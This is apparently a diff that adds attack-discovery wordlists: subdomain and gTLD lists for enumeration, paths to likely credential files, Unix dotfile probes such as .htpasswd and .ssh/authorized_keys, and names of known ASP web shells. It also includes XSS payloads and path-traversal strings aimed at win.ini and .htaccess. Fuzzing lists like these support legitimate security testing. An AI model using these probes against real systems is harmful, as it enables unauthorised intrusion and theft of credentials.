gu
|
||||
guest
|
||||
guia
|
||||
guide
|
||||
gv
|
||||
gw
|
||||
gx
|
||||
gy
|
||||
gz
|
||||
h
|
||||
ha
|
||||
hb
|
||||
hc
|
||||
hd
|
||||
he
|
||||
help
|
||||
helpdesk
|
||||
hera
|
||||
heracles
|
||||
hercules
|
||||
hf
|
||||
hg
|
||||
hh
|
||||
hi
|
||||
hj
|
||||
hk
|
||||
hl
|
||||
hm
|
||||
hn
|
||||
ho
|
||||
home
|
||||
homer
|
||||
hotspot
|
||||
hp
|
||||
hq
|
||||
hr
|
||||
hs
|
||||
ht
|
||||
hu
|
||||
hv
|
||||
hw
|
||||
hx
|
||||
hy
|
||||
hypernova
|
||||
hz
|
||||
i
|
||||
ia
|
||||
ib
|
||||
ic
|
||||
id
|
||||
ie
|
||||
if
|
||||
ig
|
||||
ih
|
||||
ii
|
||||
ij
|
||||
ik
|
||||
il
|
||||
im
|
||||
images
|
||||
imail
|
||||
imap
|
||||
imap3
|
||||
imap3d
|
||||
imapd
|
||||
imaps
|
||||
imgs
|
||||
imogen
|
||||
in
|
||||
inmuebles
|
||||
internal
|
||||
interno
|
||||
intranet
|
||||
io
|
||||
ip
|
||||
ip6
|
||||
ipsec
|
||||
ipv6
|
||||
iq
|
||||
ir
|
||||
irc
|
||||
ircd
|
||||
is
|
||||
isa
|
||||
it
|
||||
iu
|
||||
iv
|
||||
iw
|
||||
ix
|
||||
iy
|
||||
iz
|
||||
j
|
||||
ja
|
||||
jabber
|
||||
jb
|
||||
jc
|
||||
jd
|
||||
je
|
||||
jf
|
||||
jg
|
||||
jh
|
||||
ji
|
||||
jj
|
||||
jk
|
||||
jl
|
||||
jm
|
||||
jn
|
||||
jo
|
||||
jp
|
||||
jq
|
||||
jr
|
||||
js
|
||||
jt
|
||||
ju
|
||||
jupiter
|
||||
jv
|
||||
jw
|
||||
jx
|
||||
jy
|
||||
jz
|
||||
k
|
||||
ka
|
||||
kb
|
||||
kc
|
||||
kd
|
||||
ke
|
||||
kf
|
||||
kg
|
||||
kh
|
||||
ki
|
||||
kj
|
||||
kk
|
||||
kl
|
||||
km
|
||||
kn
|
||||
ko
|
||||
kp
|
||||
kq
|
||||
kr
|
||||
ks
|
||||
kt
|
||||
ku
|
||||
kv
|
||||
kw
|
||||
kx
|
||||
ky
|
||||
kz
|
||||
l
|
||||
la
|
||||
lab
|
||||
laboratories
|
||||
laboratorio
|
||||
laboratory
|
||||
labs
|
||||
lb
|
||||
lc
|
||||
ld
|
||||
le
|
||||
lf
|
||||
lg
|
||||
lh
|
||||
li
|
||||
library
|
||||
linux
|
||||
lisa
|
||||
lj
|
||||
lk
|
||||
ll
|
||||
lm
|
||||
ln
|
||||
lo
|
||||
localhost
|
||||
log
|
||||
login
|
||||
logon
|
||||
logs
|
||||
lp
|
||||
lq
|
||||
lr
|
||||
ls
|
||||
lt
|
||||
lu
|
||||
lv
|
||||
lw
|
||||
lx
|
||||
ly
|
||||
lz
|
||||
m
|
||||
ma
|
||||
mail
|
||||
mailgate
|
||||
manager
|
||||
marketing
|
||||
mb
|
||||
mc
|
||||
md
|
||||
me
|
||||
media
|
||||
member
|
||||
members
|
||||
mercury
|
||||
meta
|
||||
meta01
|
||||
meta02
|
||||
meta03
|
||||
meta1
|
||||
meta2
|
||||
meta3
|
||||
mf
|
||||
mg
|
||||
mh
|
||||
mi
|
||||
miembros
|
||||
minerva
|
||||
mj
|
||||
mk
|
||||
ml
|
||||
mm
|
||||
mn
|
||||
mo
|
||||
mob
|
||||
mobile
|
||||
moodle
|
||||
movil
|
||||
mp
|
||||
mq
|
||||
mr
|
||||
ms
|
||||
mssql
|
||||
mt
|
||||
mu
|
||||
mv
|
||||
mw
|
||||
mx
|
||||
mx0
|
||||
mx01
|
||||
mx02
|
||||
mx03
|
||||
mx1
|
||||
mx2
|
||||
mx3
|
||||
my
|
||||
mysql
|
||||
mz
|
||||
n
|
||||
na
|
||||
nb
|
||||
nc
|
||||
nd
|
||||
ne
|
||||
nelson
|
||||
neon
|
||||
net
|
||||
netmail
|
||||
news
|
||||
nf
|
||||
ng
|
||||
nh
|
||||
ni
|
||||
nj
|
||||
nk
|
||||
nl
|
||||
nm
|
||||
nn
|
||||
no
|
||||
novell
|
||||
np
|
||||
nq
|
||||
nr
|
||||
ns
|
||||
ns0
|
||||
ns01
|
||||
ns02
|
||||
ns03
|
||||
ns1
|
||||
ns2
|
||||
ns3
|
||||
nt
|
||||
ntp
|
||||
nu
|
||||
nv
|
||||
nw
|
||||
nx
|
||||
ny
|
||||
nz
|
||||
o
|
||||
oa
|
||||
ob
|
||||
oc
|
||||
od
|
||||
oe
|
||||
of
|
||||
og
|
||||
oh
|
||||
oi
|
||||
oj
|
||||
ok
|
||||
ol
|
||||
om
|
||||
on
|
||||
online
|
||||
oo
|
||||
op
|
||||
oq
|
||||
or
|
||||
ora
|
||||
oracle
|
||||
os
|
||||
osx
|
||||
ot
|
||||
ou
|
||||
ov
|
||||
ow
|
||||
owa
|
||||
ox
|
||||
oy
|
||||
oz
|
||||
p
|
||||
pa
|
||||
partners
|
||||
pb
|
||||
pc
|
||||
pcanywhere
|
||||
pd
|
||||
pe
|
||||
pegasus
|
||||
pendrell
|
||||
personal
|
||||
pf
|
||||
pg
|
||||
ph
|
||||
photo
|
||||
photos
|
||||
pi
|
||||
pj
|
||||
pk
|
||||
pl
|
||||
pm
|
||||
pn
|
||||
po
|
||||
pop
|
||||
pop3
|
||||
portal
|
||||
postgresql
|
||||
postman
|
||||
postmaster
|
||||
pp
|
||||
ppp
|
||||
pq
|
||||
pr
|
||||
preprod
|
||||
pre-prod
|
||||
private
|
||||
prod
|
||||
proxy
|
||||
prueba
|
||||
pruebas
|
||||
ps
|
||||
pt
|
||||
pu
|
||||
pub
|
||||
public
|
||||
pv
|
||||
pw
|
||||
px
|
||||
py
|
||||
pz
|
||||
q
|
||||
qa
|
||||
qb
|
||||
qc
|
||||
qd
|
||||
qe
|
||||
qf
|
||||
qg
|
||||
qh
|
||||
qi
|
||||
qj
|
||||
qk
|
||||
ql
|
||||
qm
|
||||
qn
|
||||
qo
|
||||
qp
|
||||
qq
|
||||
qr
|
||||
qs
|
||||
qt
|
||||
qu
|
||||
qv
|
||||
qw
|
||||
qx
|
||||
qy
|
||||
qz
|
||||
r
|
||||
ra
|
||||
ras
|
||||
rb
|
||||
rc
|
||||
rd
|
||||
re
|
||||
remote
|
||||
reports
|
||||
research
|
||||
restricted
|
||||
rf
|
||||
rg
|
||||
rh
|
||||
ri
|
||||
rj
|
||||
rk
|
||||
rl
|
||||
rm
|
||||
rn
|
||||
ro
|
||||
robinhood
|
||||
router
|
||||
rp
|
||||
rq
|
||||
rr
|
||||
rs
|
||||
rt
|
||||
rtr
|
||||
ru
|
||||
rv
|
||||
rw
|
||||
rx
|
||||
ry
|
||||
rz
|
||||
s
|
||||
sa
|
||||
sales
|
||||
sample
|
||||
samples
|
||||
sandbox
|
||||
sb
|
||||
sc
|
||||
sd
|
||||
se
|
||||
search
|
||||
secure
|
||||
seguro
|
||||
server
|
||||
services
|
||||
servicios
|
||||
servidor
|
||||
sf
|
||||
sg
|
||||
sh
|
||||
sharepoint
|
||||
shop
|
||||
shopping
|
||||
si
|
||||
sj
|
||||
sk
|
||||
sl
|
||||
sm
|
||||
sms
|
||||
smtp
|
||||
sn
|
||||
so
|
||||
socios
|
||||
solaris
|
||||
soporte
|
||||
sp
|
||||
sq
|
||||
sql
|
||||
squirrel
|
||||
squirrelmail
|
||||
sr
|
||||
ss
|
||||
ssh
|
||||
st
|
||||
staff
|
||||
staging
|
||||
stats
|
||||
su
|
||||
sun
|
||||
support
|
||||
sv
|
||||
sw
|
||||
sx
|
||||
sy
|
||||
sz
|
||||
t
|
||||
ta
|
||||
tb
|
||||
tc
|
||||
td
|
||||
te
|
||||
test
|
||||
tf
|
||||
tftp
|
||||
tg
|
||||
th
|
||||
ti
|
||||
tienda
|
||||
tj
|
||||
tk
|
||||
tl
|
||||
tm
|
||||
tn
|
||||
to
|
||||
tp
|
||||
tq
|
||||
tr
|
||||
ts
|
||||
tt
|
||||
tu
|
||||
tunnel
|
||||
tv
|
||||
tw
|
||||
tx
|
||||
ty
|
||||
tz
|
||||
u
|
||||
ua
|
||||
uat
|
||||
ub
|
||||
uc
|
||||
ud
|
||||
ue
|
||||
uf
|
||||
ug
|
||||
uh
|
||||
ui
|
||||
uj
|
||||
uk
|
||||
ul
|
||||
um
|
||||
un
|
||||
unix
|
||||
uo
|
||||
up
|
||||
upload
|
||||
uploads
|
||||
uq
|
||||
ur
|
||||
us
|
||||
ut
|
||||
uu
|
||||
uv
|
||||
uw
|
||||
ux
|
||||
uy
|
||||
uz
|
||||
v
|
||||
va
|
||||
vb
|
||||
vc
|
||||
vd
|
||||
ve
|
||||
ventas
|
||||
vf
|
||||
vg
|
||||
vh
|
||||
vi
|
||||
virtual
|
||||
vista
|
||||
vj
|
||||
vk
|
||||
vl
|
||||
vm
|
||||
vn
|
||||
vnc
|
||||
vo
|
||||
vp
|
||||
vpn
|
||||
vpn1
|
||||
vpn2
|
||||
vpn3
|
||||
vq
|
||||
vr
|
||||
vs
|
||||
vt
|
||||
vu
|
||||
vv
|
||||
vw
|
||||
vx
|
||||
vy
|
||||
vz
|
||||
w
|
||||
wa
|
||||
wap
|
||||
wb
|
||||
wc
|
||||
wd
|
||||
we
|
||||
web
|
||||
web0
|
||||
web01
|
||||
web02
|
||||
web03
|
||||
web1
|
||||
web2
|
||||
web3
|
||||
webadmin
|
||||
webct
|
||||
weblog
|
||||
webmail
|
||||
webmaster
|
||||
webmin
|
||||
wf
|
||||
wg
|
||||
wh
|
||||
wi
|
||||
win
|
||||
windows
|
||||
wj
|
||||
wk
|
||||
wl
|
||||
wm
|
||||
wn
|
||||
wo
|
||||
wp
|
||||
wq
|
||||
wr
|
||||
ws
|
||||
wt
|
||||
wu
|
||||
wv
|
||||
ww
|
||||
ww0
|
||||
ww01
|
||||
ww02
|
||||
ww03
|
||||
ww1
|
||||
ww2
|
||||
ww3
|
||||
www
|
||||
www0
|
||||
www01
|
||||
www02
|
||||
www03
|
||||
www1
|
||||
www2
|
||||
www3
|
||||
wx
|
||||
wy
|
||||
wz
|
||||
x
|
||||
xa
|
||||
xanthus
|
||||
xb
|
||||
xc
|
||||
xd
|
||||
xe
|
||||
xf
|
||||
xg
|
||||
xh
|
||||
xi
|
||||
xj
|
||||
xk
|
||||
xl
|
||||
xm
|
||||
xn
|
||||
xo
|
||||
xp
|
||||
xq
|
||||
xr
|
||||
xs
|
||||
xt
|
||||
xu
|
||||
xv
|
||||
xw
|
||||
xx
|
||||
xy
|
||||
xz
|
||||
y
|
||||
ya
|
||||
yb
|
||||
yc
|
||||
yd
|
||||
ye
|
||||
yf
|
||||
yg
|
||||
yh
|
||||
yi
|
||||
yj
|
||||
yk
|
||||
yl
|
||||
ym
|
||||
yn
|
||||
yo
|
||||
yp
|
||||
yq
|
||||
yr
|
||||
ys
|
||||
yt
|
||||
yu
|
||||
yv
|
||||
yw
|
||||
yx
|
||||
yy
|
||||
yz
|
||||
z
|
||||
za
|
||||
zb
|
||||
zc
|
||||
zd
|
||||
ze
|
||||
zeus
|
||||
zf
|
||||
zg
|
||||
zh
|
||||
zi
|
||||
zj
|
||||
zk
|
||||
zl
|
||||
zm
|
||||
zn
|
||||
zo
|
||||
zp
|
||||
zq
|
||||
zr
|
||||
zs
|
||||
zt
|
||||
zu
|
||||
zv
|
||||
zw
|
||||
zx
|
||||
zy
|
||||
zz
|
||||
784
discovery/dns/gTLD.txt
Normal file
784
discovery/dns/gTLD.txt
Normal file
|
|
@ -0,0 +1,784 @@
|
|||
한국
|
||||
테스트
|
||||
ABB
|
||||
ABBOTT
|
||||
ABOGADO
|
||||
academy
|
||||
ACCENTURE
|
||||
ACCOUNTANT
|
||||
accountants
|
||||
ACCOUNTANTS
|
||||
ACTIVE
|
||||
actor
|
||||
ADS
|
||||
ADULT
|
||||
aero
|
||||
AFL
|
||||
agency
|
||||
AIG
|
||||
airforce
|
||||
AIRFORCE
|
||||
ALLFINANZ
|
||||
ALSACE
|
||||
AMSTERDAM
|
||||
ANDROID
|
||||
APARTMENTS
|
||||
AQUARELLE
|
||||
archi
|
||||
ARMY
|
||||
arpa
|
||||
asia
|
||||
associates
|
||||
ASSOCIATES
|
||||
ATTORNEY
|
||||
AUCTION
|
||||
audio
|
||||
AUDIO
|
||||
AUTO
|
||||
AUTOS
|
||||
axa
|
||||
BAND
|
||||
BANK
|
||||
bar
|
||||
BARCLAYCARD
|
||||
BARCLAYS
|
||||
bargains
|
||||
BAUHAUS
|
||||
bayern
|
||||
BAYERN
|
||||
BBC
|
||||
BBVA
|
||||
beer
|
||||
BEER
|
||||
berlin
|
||||
best
|
||||
BIBLE
|
||||
bid
|
||||
bike
|
||||
BINGO
|
||||
BIO
|
||||
biz
|
||||
black
|
||||
blackfriday
|
||||
BLACKFRIDAY
|
||||
BLOOMBERG
|
||||
blue
|
||||
BMW
|
||||
BNPPARIBAS
|
||||
BOATS
|
||||
BOND
|
||||
BOO
|
||||
boutique
|
||||
BRIDGESTONE
|
||||
BROKER
|
||||
BROTHER
|
||||
BRUSSELS
|
||||
BUDAPEST
|
||||
build
|
||||
builders
|
||||
BUSINESS
|
||||
buzz
|
||||
BZH
|
||||
cab
|
||||
CAFE
|
||||
CAL
|
||||
camera
|
||||
camp
|
||||
CANCERRESEARCH
|
||||
CANON
|
||||
CAPETOWN
|
||||
capital
|
||||
CAPITAL
|
||||
CARAVAN
|
||||
cards
|
||||
care
|
||||
CARE
|
||||
career
|
||||
CAREER
|
||||
careers
|
||||
CARS
|
||||
CARTIER
|
||||
CASA
|
||||
cash
|
||||
CASH
|
||||
CASINO
|
||||
cat
|
||||
catering
|
||||
CBN
|
||||
center
|
||||
ceo
|
||||
CERN
|
||||
CFA
|
||||
CFD
|
||||
CHANNEL
|
||||
CHAT
|
||||
cheap
|
||||
CHLOE
|
||||
christmas
|
||||
CHROME
|
||||
church
|
||||
CHURCH
|
||||
CISCO
|
||||
citic
|
||||
CITIC
|
||||
CITY
|
||||
claims
|
||||
CLAIMS
|
||||
cleaning
|
||||
CLICK
|
||||
clinic
|
||||
CLINIC
|
||||
clothing
|
||||
club
|
||||
COACH
|
||||
codes
|
||||
coffee
|
||||
college
|
||||
COLLEGE
|
||||
cologne
|
||||
com
|
||||
community
|
||||
company
|
||||
computer
|
||||
construction
|
||||
CONSULTING
|
||||
contractors
|
||||
cooking
|
||||
cool
|
||||
coop
|
||||
CORSICA
|
||||
country
|
||||
COUPONS
|
||||
COURSES
|
||||
credit
|
||||
CREDIT
|
||||
creditcard
|
||||
CREDITCARD
|
||||
CRICKET
|
||||
CRS
|
||||
cruises
|
||||
CUISINELLA
|
||||
CYMRU
|
||||
CYOU
|
||||
DABUR
|
||||
DAD
|
||||
dance
|
||||
DATE
|
||||
dating
|
||||
DATSUN
|
||||
DAY
|
||||
DCLK
|
||||
DEALS
|
||||
DEGREE
|
||||
DELIVERY
|
||||
democrat
|
||||
dental
|
||||
DENTAL
|
||||
DENTIST
|
||||
desi
|
||||
DESI
|
||||
DESIGN
|
||||
DEV
|
||||
diamonds
|
||||
DIET
|
||||
digital
|
||||
DIGITAL
|
||||
DIRECT
|
||||
directory
|
||||
discount
|
||||
DISCOUNT
|
||||
DOCS
|
||||
DOG
|
||||
DOHA
|
||||
domains
|
||||
DOOSAN
|
||||
DOWNLOAD
|
||||
DURBAN
|
||||
DVAG
|
||||
EARTH
|
||||
EAT
|
||||
edu
|
||||
education
|
||||
email
|
||||
EMERCK
|
||||
ENERGY
|
||||
ENGINEER
|
||||
engineering
|
||||
ENGINEERING
|
||||
enterprises
|
||||
EPSON
|
||||
equipment
|
||||
ERNI
|
||||
ESQ
|
||||
estate
|
||||
EUROVISION
|
||||
eus
|
||||
EUS
|
||||
events
|
||||
EVERBANK
|
||||
exchange
|
||||
EXCHANGE
|
||||
expert
|
||||
exposed
|
||||
EXPRESS
|
||||
fail
|
||||
FAIL
|
||||
FAITH
|
||||
FAN
|
||||
FANS
|
||||
farm
|
||||
FASHION
|
||||
feedback
|
||||
FEEDBACK
|
||||
FILM
|
||||
finance
|
||||
FINANCE
|
||||
financial
|
||||
FINANCIAL
|
||||
FIRMDALE
|
||||
fish
|
||||
fishing
|
||||
FIT
|
||||
fitness
|
||||
FITNESS
|
||||
flights
|
||||
florist
|
||||
FLOWERS
|
||||
FLSMIDTH
|
||||
FLY
|
||||
foo
|
||||
FOO
|
||||
FOOTBALL
|
||||
FOREX
|
||||
FORSALE
|
||||
foundation
|
||||
FRL
|
||||
frogans
|
||||
FROGANS
|
||||
fund
|
||||
FUND
|
||||
furniture
|
||||
FURNITURE
|
||||
futbol
|
||||
FYI
|
||||
gal
|
||||
GAL
|
||||
gallery
|
||||
GARDEN
|
||||
GBIZ
|
||||
GDN
|
||||
GENT
|
||||
GGEE
|
||||
gift
|
||||
GIFTS
|
||||
GIVES
|
||||
glass
|
||||
GLE
|
||||
GLOBAL
|
||||
globo
|
||||
GLOBO
|
||||
GMAIL
|
||||
gmo
|
||||
GMO
|
||||
GMX
|
||||
GOLD
|
||||
GOLDPOINT
|
||||
GOLF
|
||||
GOO
|
||||
GOOG
|
||||
GOOGLE
|
||||
gop
|
||||
GOP
|
||||
gov
|
||||
graphics
|
||||
gratis
|
||||
GRATIS
|
||||
GREEN
|
||||
gripe
|
||||
GRIPE
|
||||
GUGE
|
||||
guide
|
||||
GUIDE
|
||||
guitars
|
||||
guru
|
||||
HAMBURG
|
||||
HANGOUT
|
||||
haus
|
||||
HEALTHCARE
|
||||
HELP
|
||||
HERE
|
||||
HERMES
|
||||
hiphop
|
||||
HIPHOP
|
||||
HITACHI
|
||||
HIV
|
||||
HOCKEY
|
||||
holdings
|
||||
holiday
|
||||
HOMEDEPOT
|
||||
HOMES
|
||||
HONDA
|
||||
horse
|
||||
HOST
|
||||
HOSTING
|
||||
house
|
||||
HOW
|
||||
IBM
|
||||
ICBC
|
||||
ICU
|
||||
IFM
|
||||
IMMO
|
||||
immobilien
|
||||
industries
|
||||
INFINITI
|
||||
info
|
||||
ING
|
||||
institute
|
||||
insure
|
||||
INSURE
|
||||
int
|
||||
international
|
||||
investments
|
||||
INVESTMENTS
|
||||
IRISH
|
||||
IWC
|
||||
JAVA
|
||||
JCB
|
||||
jetzt
|
||||
JEWELRY
|
||||
JLL
|
||||
jobs
|
||||
JOBURG
|
||||
juegos
|
||||
JUEGOS
|
||||
kaufen
|
||||
KDDI
|
||||
kim
|
||||
kitchen
|
||||
kiwi
|
||||
koeln
|
||||
KOMATSU
|
||||
KRD
|
||||
kred
|
||||
KYOTO
|
||||
LACAIXA
|
||||
land
|
||||
LAT
|
||||
LATROBE
|
||||
LAWYER
|
||||
LDS
|
||||
lease
|
||||
LEASE
|
||||
LECLERC
|
||||
LEGAL
|
||||
LGBT
|
||||
LIAISON
|
||||
LIDL
|
||||
life
|
||||
LIFE
|
||||
lighting
|
||||
limited
|
||||
LIMITED
|
||||
limo
|
||||
link
|
||||
LOAN
|
||||
loans
|
||||
LOANS
|
||||
LOL
|
||||
london
|
||||
LOTTE
|
||||
LOTTO
|
||||
LOVE
|
||||
LTDA
|
||||
LUPIN
|
||||
luxe
|
||||
LUXE
|
||||
luxury
|
||||
MADRID
|
||||
MAIF
|
||||
management
|
||||
mango
|
||||
MARKET
|
||||
marketing
|
||||
MARKETS
|
||||
MARRIOTT
|
||||
MBA
|
||||
media
|
||||
MEDIA
|
||||
meet
|
||||
MELBOURNE
|
||||
MEME
|
||||
MEMORIAL
|
||||
MEN
|
||||
menu
|
||||
miami
|
||||
mil
|
||||
MINI
|
||||
MMA
|
||||
mobi
|
||||
moda
|
||||
moe
|
||||
monash
|
||||
MONEY
|
||||
MORMON
|
||||
MORTGAGE
|
||||
moscow
|
||||
MOSCOW
|
||||
MOTORCYCLES
|
||||
MOV
|
||||
MOVIE
|
||||
MTN
|
||||
MTPC
|
||||
museum
|
||||
NADEX
|
||||
nagoya
|
||||
name
|
||||
NAVY
|
||||
NEC
|
||||
net
|
||||
NETWORK
|
||||
neustar
|
||||
NEW
|
||||
NEWS
|
||||
NEXUS
|
||||
NGO
|
||||
NHK
|
||||
NICO
|
||||
ninja
|
||||
NISSAN
|
||||
NRA
|
||||
NRW
|
||||
NTT
|
||||
nyc
|
||||
okinawa
|
||||
ONE
|
||||
ONG
|
||||
onl
|
||||
ONLINE
|
||||
OOO
|
||||
ORACLE
|
||||
org
|
||||
ORGANIC
|
||||
OSAKA
|
||||
OTSUKA
|
||||
OVH
|
||||
PAGE
|
||||
PANERAI
|
||||
paris
|
||||
PARIS
|
||||
partners
|
||||
parts
|
||||
PARTY
|
||||
PHARMACY
|
||||
PHILIPS
|
||||
photo
|
||||
photography
|
||||
photos
|
||||
PHYSIO
|
||||
PIAGET
|
||||
pics
|
||||
PICTET
|
||||
pictures
|
||||
PICTURES
|
||||
pink
|
||||
PIZZA
|
||||
PLACE
|
||||
plumbing
|
||||
PLUS
|
||||
POHL
|
||||
POKER
|
||||
PORN
|
||||
post
|
||||
PRAXI
|
||||
PRESS
|
||||
pro
|
||||
PROD
|
||||
productions
|
||||
PROF
|
||||
properties
|
||||
PROPERTY
|
||||
pub
|
||||
qpon
|
||||
quebec
|
||||
QUEBEC
|
||||
RACING
|
||||
REALTOR
|
||||
recipes
|
||||
red
|
||||
REDSTONE
|
||||
REHAB
|
||||
REISE
|
||||
reisen
|
||||
REISEN
|
||||
REIT
|
||||
ren
|
||||
RENT
|
||||
rentals
|
||||
repair
|
||||
report
|
||||
REPUBLICAN
|
||||
rest
|
||||
REST
|
||||
RESTAURANT
|
||||
REVIEW
|
||||
reviews
|
||||
rich
|
||||
RIO
|
||||
RIP
|
||||
rocks
|
||||
ROCKS
|
||||
rodeo
|
||||
RSVP
|
||||
ruhr
|
||||
RUN
|
||||
ryukyu
|
||||
RYUKYU
|
||||
saarland
|
||||
SAARLAND
|
||||
SALE
|
||||
SAMSUNG
|
||||
SANDVIK
|
||||
SANDVIKCOROMANT
|
||||
SAP
|
||||
SARL
|
||||
SAXO
|
||||
SCA
|
||||
SCB
|
||||
SCHMIDT
|
||||
SCHOLARSHIPS
|
||||
SCHOOL
|
||||
schule
|
||||
SCHULE
|
||||
SCHWARZ
|
||||
SCIENCE
|
||||
SCOT
|
||||
SEAT
|
||||
SENER
|
||||
services
|
||||
SERVICES
|
||||
SEW
|
||||
SEX
|
||||
sexy
|
||||
shiksha
|
||||
shoes
|
||||
SHOW
|
||||
SHRIRAM
|
||||
singles
|
||||
SITE
|
||||
SKI
|
||||
SKY
|
||||
SOCCER
|
||||
social
|
||||
SOFTWARE
|
||||
sohu
|
||||
solar
|
||||
solutions
|
||||
SONY
|
||||
soy
|
||||
SOY
|
||||
SPACE
|
||||
SPIEGEL
|
||||
SPREADBETTING
|
||||
STUDY
|
||||
STYLE
|
||||
SUCKS
|
||||
supplies
|
||||
supply
|
||||
support
|
||||
SURF
|
||||
surgery
|
||||
SURGERY
|
||||
SUZUKI
|
||||
SWISS
|
||||
SYDNEY
|
||||
systems
|
||||
TAIPEI
|
||||
TATAR
|
||||
tattoo
|
||||
tax
|
||||
TAX
|
||||
TAXI
|
||||
TEAM
|
||||
TECH
|
||||
technology
|
||||
tel
|
||||
TEMASEK
|
||||
TENNIS
|
||||
THD
|
||||
THEATER
|
||||
TICKETS
|
||||
tienda
|
||||
tips
|
||||
TIRES
|
||||
TIROL
|
||||
today
|
||||
tokyo
|
||||
tools
|
||||
TOP
|
||||
TORAY
|
||||
TOSHIBA
|
||||
TOURS
|
||||
town
|
||||
TOWN
|
||||
toys
|
||||
TOYS
|
||||
trade
|
||||
TRADING
|
||||
training
|
||||
travel
|
||||
TRUST
|
||||
TUI
|
||||
university
|
||||
UNIVERSITY
|
||||
uno
|
||||
UOL
|
||||
vacations
|
||||
vegas
|
||||
ventures
|
||||
vermögensberater
|
||||
vermögensberatung
|
||||
VERSICHERUNG
|
||||
VET
|
||||
viajes
|
||||
VIDEO
|
||||
villas
|
||||
vision
|
||||
VLAANDEREN
|
||||
vodka
|
||||
vote
|
||||
voting
|
||||
voto
|
||||
voyage
|
||||
WALES
|
||||
WALTER
|
||||
wang
|
||||
watch
|
||||
webcam
|
||||
WEBSITE
|
||||
wed
|
||||
WEDDING
|
||||
WEIR
|
||||
WHOSWHO
|
||||
wien
|
||||
wiki
|
||||
WILLIAMHILL
|
||||
WIN
|
||||
WME
|
||||
WORK
|
||||
works
|
||||
WORLD
|
||||
wtc
|
||||
WTC
|
||||
wtf
|
||||
WTF
|
||||
XBOX
|
||||
XEROX
|
||||
XIN
|
||||
xn--30rr7y
|
||||
xn--45q11c
|
||||
xn--9et52u
|
||||
xn--b4w605ferd
|
||||
xn--czrs0t
|
||||
xn--estv75g
|
||||
xn--fjq720a
|
||||
xn--flw351e
|
||||
xn--hxt814e
|
||||
xn--imr513n
|
||||
xn--kcrx77d1x4a
|
||||
xn--mgbpl2fh
|
||||
xn--mxtq1m
|
||||
xn--nyqy26a
|
||||
xn--qcka1pmc
|
||||
xn--vuq861b
|
||||
xn--y9a3aq
|
||||
xxx
|
||||
xyz
|
||||
YACHTS
|
||||
YANDEX
|
||||
YODOBASHI
|
||||
YOGA
|
||||
yokohama
|
||||
YOKOHAMA
|
||||
YOUTUBE
|
||||
ZIP
|
||||
zone
|
||||
ZUERICH
|
||||
إختبار
|
||||
ایران
|
||||
آزمایشی
|
||||
الاردن
|
||||
الجزائر
|
||||
السعودية
|
||||
المغرب
|
||||
امارات
|
||||
بھارت
|
||||
بازار
|
||||
پاکستان
|
||||
تونس
|
||||
سودان
|
||||
سورية
|
||||
شبكة
|
||||
عمان
|
||||
فلسطين
|
||||
قطر
|
||||
مصر
|
||||
مليسيا
|
||||
موقع
|
||||
טעסט
|
||||
δοκιμή
|
||||
дети
|
||||
испытание
|
||||
қаз
|
||||
мкд
|
||||
мон
|
||||
москва
|
||||
онлайн
|
||||
орг
|
||||
рус
|
||||
рф
|
||||
сайт
|
||||
срб
|
||||
укр
|
||||
გე
|
||||
परीक्षा
|
||||
भारत
|
||||
संगठन
|
||||
ભારત
|
||||
భారత్
|
||||
ਭਾਰਤ
|
||||
இந்தியா
|
||||
இலங்கை
|
||||
சிங்கப்பூர்
|
||||
பரிட்சை
|
||||
বাংলা
|
||||
ভারত
|
||||
ලංකා
|
||||
世界
|
||||
中信
|
||||
中国
|
||||
中國
|
||||
中文网
|
||||
企业
|
||||
佛山
|
||||
公司
|
||||
公益
|
||||
台湾
|
||||
台灣
|
||||
商城
|
||||
商标
|
||||
在线
|
||||
广东
|
||||
我爱你
|
||||
手机
|
||||
政务
|
||||
新加坡
|
||||
机构
|
||||
测试
|
||||
測試
|
||||
游戏
|
||||
移动
|
||||
组织机构
|
||||
网址
|
||||
网络
|
||||
集团
|
||||
香港
|
||||
2346
discovery/predictable-filepaths/KitchensinkDirectories.txt
Normal file
2346
discovery/predictable-filepaths/KitchensinkDirectories.txt
Normal file
File diff suppressed because it is too large
Load diff
24
discovery/predictable-filepaths/Randomfiles.txt
Normal file
24
discovery/predictable-filepaths/Randomfiles.txt
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
/accounts.txt
|
||||
/culeadora.txt
|
||||
/data.txt
|
||||
/database.txt
|
||||
/grabbed.html
|
||||
/info.txt
|
||||
/l0gs.txt
|
||||
/log.txt
|
||||
/logins.txt
|
||||
/logs.txt
|
||||
/members.txt
|
||||
/pass.txt
|
||||
/passes.txt
|
||||
/password.html
|
||||
/password.txt
|
||||
/passwords.html
|
||||
/passwords.txt
|
||||
/pazz.txt
|
||||
/pazzezs.txt
|
||||
/pw.txt
|
||||
/pws.txt
|
||||
/technico.txt
|
||||
/usernames.txt
|
||||
/users.txt
|
||||
51
discovery/predictable-filepaths/UnixDotfiles.txt
Normal file
51
discovery/predictable-filepaths/UnixDotfiles.txt
Normal file
|
|
@ -0,0 +1,51 @@
|
|||
/.DS_Store
|
||||
/.FBCIndex
|
||||
/.access
|
||||
/.addressbook
|
||||
/.bash_history
|
||||
/.bashrc
|
||||
/.cobalt
|
||||
/.cobalt/alert/service.cgi?service=<img%20src=javascript:alert('Vulnerable')>
|
||||
/.cobalt/alert/service.cgi?service=<script>alert('Vulnerable')</script>
|
||||
/.cobalt/sysManage/../admin/.htaccess
|
||||
/.fhp
|
||||
/.forward
|
||||
/.history
|
||||
/.htaccess
|
||||
/.htaccess.old
|
||||
/.htaccess.save
|
||||
/.htaccess~
|
||||
/.htpasswd
|
||||
/.lynx_cookies
|
||||
/.mysql_history
|
||||
/.nsconfig
|
||||
/.nsf/../winnt/win.ini
|
||||
/.passwd
|
||||
/.perf
|
||||
/.pinerc
|
||||
/.plan
|
||||
/.proclog
|
||||
/.procmailrc
|
||||
/.profile
|
||||
/.psql_history
|
||||
/.rhosts
|
||||
/.sh_history
|
||||
/.ssh
|
||||
/.ssh/authorized_keys
|
||||
/.ssh/known_hosts
|
||||
/.www_acl
|
||||
/.wwwacl
|
||||
/.access
|
||||
/.cobalt
|
||||
/.cobalt/alert/service.cgi?service=<img%20src=javascript:alert('XSS')>
|
||||
/.cobalt/alert/service.cgi?service=<script>alert('XSS')</script>
|
||||
/.fhp
|
||||
/.htaccess
|
||||
/.htaccess.old
|
||||
/.htaccess.save
|
||||
/.htaccess~
|
||||
/.htpasswd
|
||||
/.nsconfig
|
||||
/.passwd
|
||||
/.www_acl
|
||||
/.wwwacl
|
||||
|
|
@ -0,0 +1,29 @@
|
|||
3fexe.asp
|
||||
ASpy.asp
|
||||
EFSO.asp
|
||||
RemExp.asp
|
